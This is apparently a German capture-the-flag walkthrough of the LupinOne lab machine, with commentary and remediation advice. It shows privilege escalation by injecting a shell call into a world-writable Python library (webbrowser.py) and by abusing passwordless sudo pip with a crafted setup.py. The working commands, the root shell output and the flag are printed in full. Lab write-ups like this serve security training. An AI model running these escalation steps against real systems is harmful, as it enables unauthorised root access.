Bewertung: der nächste schritt zeigt das Vorhandensein der Python datei.

icex64@LupinOne:~$ getcap -r / 2>/dev/null

Analyse: die Abfrage der capabilities zeigte kein output.

Bewertung: kein output

icex64@LupinOne:~$ ls -la /var/www/html/
total 28
drwxrwxrwx 5 www-data www-data 4096 Oct 4 2021 .
drwxr-xr-x 3 www-data www-data 4096 Oct 4 2021 ..
drwxr-xr-x 2 icex64 icex64 4096 Oct 4 2021 image
-rw-r--r-- 1 icex64 icex64 333 Oct 4 2021 index.html
drwxr-xr-x 2 icex64 icex64 4096 Oct 4 2021 '~myfiles'
-rw-r--r-- 1 icex64 icex64 34 Oct 4 2021 robots.txt
drwxr-xr-x 2 icex64 icex64 4096 Oct 4 2021 '~secret'

Analyse: Nun schauen wir in den www Ordner

Bewertung: es existiert ein Ordner secret und my files

icex64@LupinOne:~$ find / -name *.py -user arsene -ls 2>/dev/null
2361164 4 -rw-r--r-- 1 arsene arsene 118 Oct 4 2021 /home/arsene/heist.py

Analyse: Im home verzeichnis von arsene befindet sich eine Pythondatei.

Bewertung: schauen wir was wir damit anfangen können.

icex64@LupinOne:~$ find / -name *.py -user root -ls 2>/dev/null | grep -i "rwxrwxrwx"
2106774 0 lrwxrwxrwx 1 root root 38 Aug 16 2019 /usr/lib/python2.7/dist-packages/lsb_release.py -> ../../../share/pyshared/lsb_release.py
2496671 0 lrwxrwxrwx 1 root root 38 Aug 16 2019 /usr/lib/python3/dist-packages/lsb_release.py -> ../../../share/pyshared/lsb_release.py
2359670 0 lrwxrwxrwx 1 root root 31 Feb 28 2021 /usr/lib/python3.9/sitecustomize.py -> /etc/python3.9/sitecustomize.py
2359824 24 -rwxrwxrwx 1 root root 24087 Oct 4 2021 /usr/lib/python3.9/webbrowser.py
2359836 0 lrwxrwxrwx 1 root root 35 Feb 28 2021 /usr/lib/python3.9/_sysconfigdata__linux_x86_64-linux-gnu.py -> _sysconfigdata__x86_64-linux-gnu.py
2105099 0 lrwxrwxrwx 1 root root 8 Aug 12 2020 /usr/share/bash-completion/completions/asciidoc.py -> asciidoc
2105112 0 lrwxrwxrwx 1 root root 21 Aug 12 2020 /usr/share/bash-completion/completions/btdownloadcurses.py -> btdownloadheadless.py
2105113 0 lrwxrwxrwx 1 root root 21 Aug 12 2020 /usr/share/bash-completion/completions/btdownloadgui.py -> btdownloadheadless.py

Analyse: Durchsucht das System nach Python-Dateien, die dem Benutzer Root gehören und die Berechtigungen `rwxrwxrwx` haben. Dies deutet auf potenziell unsichere Konfigurationen hin, die für die Privilege Escalation ausgenutzt werden könnten. Besonders interessant ist die Datei `/usr/lib/python3.9/webbrowser.py`.

Bewertung: Die Datei `/usr/lib/python3.9/webbrowser.py` hat die Berechtigungen `rwxrwxrwx`, was bedeutet, dass jeder Benutzer die Datei ändern kann. Dies ist ein Sicherheitsrisiko.

Empfehlung: Ändern Sie die Berechtigungen der Datei `/usr/lib/python3.9/webbrowser.py`, um sicherzustellen, dass sie nicht von nicht privilegierten Benutzern geändert werden kann.

icex64@LupinOne:~$ ls -la /usr/lib/python3.9/webbrowser.py
-rwxrwxrwx 1 root root 24087 Oct 4 2021 /usr/lib/python3.9/webbrowser.py

Analyse: die Rechte von der Datei werden nochmal zur sicherheit abgefragt.

Bewertung: es ist bestätigt dass jeder auf die datei zugreifen kann.

icex64@LupinOne:~$ nano /usr/lib/python3.9/webbrowser.py
icex64@LupinOne:~$ cat /usr/lib/python3.9/webbrowser.py
#! /usr/bin/env python3
"""Interfaces for launching and remotely controlling Web browsers."""
# Maintained by Georg Brandl.

import os
import shlex
import shutil
import sys
import subprocess
import threading
os.system ("/bin/bash") <---<-

Analyse: in der Datei /usr/lib/python3.9/webbrowser.py wurde ein Code eingebettet.

Bewertung: nun kann der Code ausgeführt werden

icex64@LupinOne:~$ sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
arsene@LupinOne:/home/icex64$

Analyse: es wird ein python script von arsene durch sudo ausgeführt

Bewertung: mal schauen was wir damit tun können

Proof of Concept: Privilege Escalation durch PIP

Ziel:

Dieser Proof of Concept (POC) demonstriert, wie die Möglichkeit, `pip` als Root-Benutzer ohne Passwort auszuführen, ausgenutzt werden kann, um Root-Zugriff auf das System zu erlangen. Dies dient als praktischer Beweis für die Realisierbarkeit des Angriffs und unterstreicht die Notwendigkeit, die Konfiguration zu überprüfen.

Kurzbeschreibung:

Da der Benutzer `arsene` das Tool `pip` als Root-Benutzer ohne Passwort ausführen darf, kann ein Angreifer ein präpariertes Setup-Skript verwenden, um beliebigen Code mit Root-Rechten auszuführen.

Voraussetzungen:

  • Zugriff auf eine Shell-Sitzung mit dem Benutzer `icex64`.
  • Die Möglichkeit, das Skript `/usr/bin/python3.9 /home/arsene/heist.py` als Benutzer `arsene` mit Sudo auszuführen.

Schritt-für-Schritt-Anleitung:

  1. Erstellen Sie ein temporäres Verzeichnis:
arsene@LupinOne:/home/icex64$ TF=$(mktemp -d)

2. Erstellen Sie ein Setup-Skript, das eine interaktive Root-Shell startet:

arsene@LupinOne:/home/icex64$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

3. Führen Sie `pip` als Root-Benutzer aus, um das Setup-Skript auszuführen:

arsene@LupinOne:/home/icex64$ sudo pip install $TF

Erwartetes Ergebnis:

Nach der Ausführung des Befehls sollte eine interaktive Root-Shell gestartet werden.

Beweismittel:

Die Prompt-Änderung zu `#` (Root-Benutzer) beweist, dass die Privilege Escalation erfolgreich war.

Risikobewertung:

Die Ausnutzung dieser Konfiguration ermöglicht es einem Angreifer, die vollständige Kontrolle über das System zu erlangen. Dies kann zu schwerwiegenden Schäden führen, wie z. B. Datenverlust, Systemausfall oder unbefugter Zugriff auf sensible Informationen.

Empfehlungen:

  • Beschränken Sie die Verwendung von `NOPASSWD` in der Sudo-Konfiguration.
  • Überprüfen Sie die Konfiguration der Sudo-Berechtigungen und stellen Sie sicher, dass nur vertrauenswürdige Benutzer bestimmte Befehle ohne Passwort ausführen dürfen.
  • Implementieren Sie zusätzliche Sicherheitsmaßnahmen, um Privilege Escalation zu verhindern, wie z. B. die Beschränkung der Berechtigungen für nicht privilegierte Benutzer und die Überwachung des Systems auf verdächtige Aktivitäten.
arsene@LupinOne:/home/icex64$ sudo -l
Matching Defaults entries for arsene on LupinOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User arsene may run the following commands on LupinOne: (root) NOPASSWD: /usr/bin/pip
arsene@LupinOne:/home/icex64$ TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
arsene@LupinOne:/home/icex64$ sudo pip install $TF
   Processing /tmp/tmp.em1gWm4kCt

# id
uid=0(root) gid=0(root) groups=0(root)
# 
# cat root.txt
*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,                       .&&&&&&&&&(            /&&&&&&&&&                       
,                    &&&&&&*                          @&&&&&&                    
,                *&&&&&                                   &&&&&&                 
,              &&&&&                                         &&&&&.              
,            &&&&                   ./#%@@&#,                   &&&&*            
,          &%&&          &&&&&&&&&&&**,**/&&(&&&&&&&&             &&&&           
,        &@(&        &&&&&&&&&&&&&&&.....,&&*&&&&&&&&&&             &&&&         
,      .& &          &&&&&&&&&&&&&&&      &&.&&&&&&&&&&               &%&        
,     @& &           &&&&&&&&&&&&&&&      && &&&&&&&&&&                @&&&      
,    &%((            &&&&&&&&&&&&&&&      && &&&&&&&&&&                 #&&&     
,   &#/*             &&&&&&&&&&&&&&&      && #&&&&&&&&&(                 (&&&    
,  %@ &              &&&&&&&&&&&&&&&      && ,&&&&&&&&&&                  /*&/   
,  & &               &&&&&&&&&&&&&&&      &&* &&&&&&&&&&                   & &   
, & &                &&&&&&&&&&&&&&&,     &&& &&&&&&&&&&(                   &,@  
,.& #                #&&&&&&&&&&&&&&(     &&&.&&&&&&&&&&&                   & &  
*& &                 ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&             &(& 
*& &                 ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&            & &  
*& *              &&&&&&&&&&&&&&&&&&&@.                 &&&&&&&&             @ & 
*&              &&&&&&&&&&&&&&&&&&@    &&&&&/          &&&&&&                & & 
*% .           &&&&&&&&&&&@&&&&&&&   &  &&(  #&&&&   &&&&.                   % & 
*& *            &&&&&&&&&&   /*      @%&%&&&&&&&&    &&&&,                   @ & 
*& &               &&&&&&&           & &&&&&&&&&&     @&&&                   & & 
*& &                    &&&&&        /   /&&&&         &&&                   & @ 
*/(,                      &&                            &                   / &. 
* & &                     &&&       #             &&&&&&      @             & &. 
* .% &                    &&&%&     &    @&&&&&&&&&.   %@&&*               ( @,  
/  & %                   .&&&&  &@ @                 &/                    @ &   
*   & @                  &&&&&&    &&.               ,                    & &    
*    & &               &&&&&&&&&& &    &&&(          &                   & &     
,     & %           &&&&&&&&&&&&&&&(       .&&&&&&&  &                  & &      
,      & .. &&&&&&&&&&&&&&&&&&&&&&&&&&&&*          &  &                & &       
,       #& & &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&        &.             %  &        
,         &  , &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.     &&&&          @ &*         
,           & ,, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.  /&&&&&&&&    & &@           
,             &  & #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&@ &. &&             
,               && /# /&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A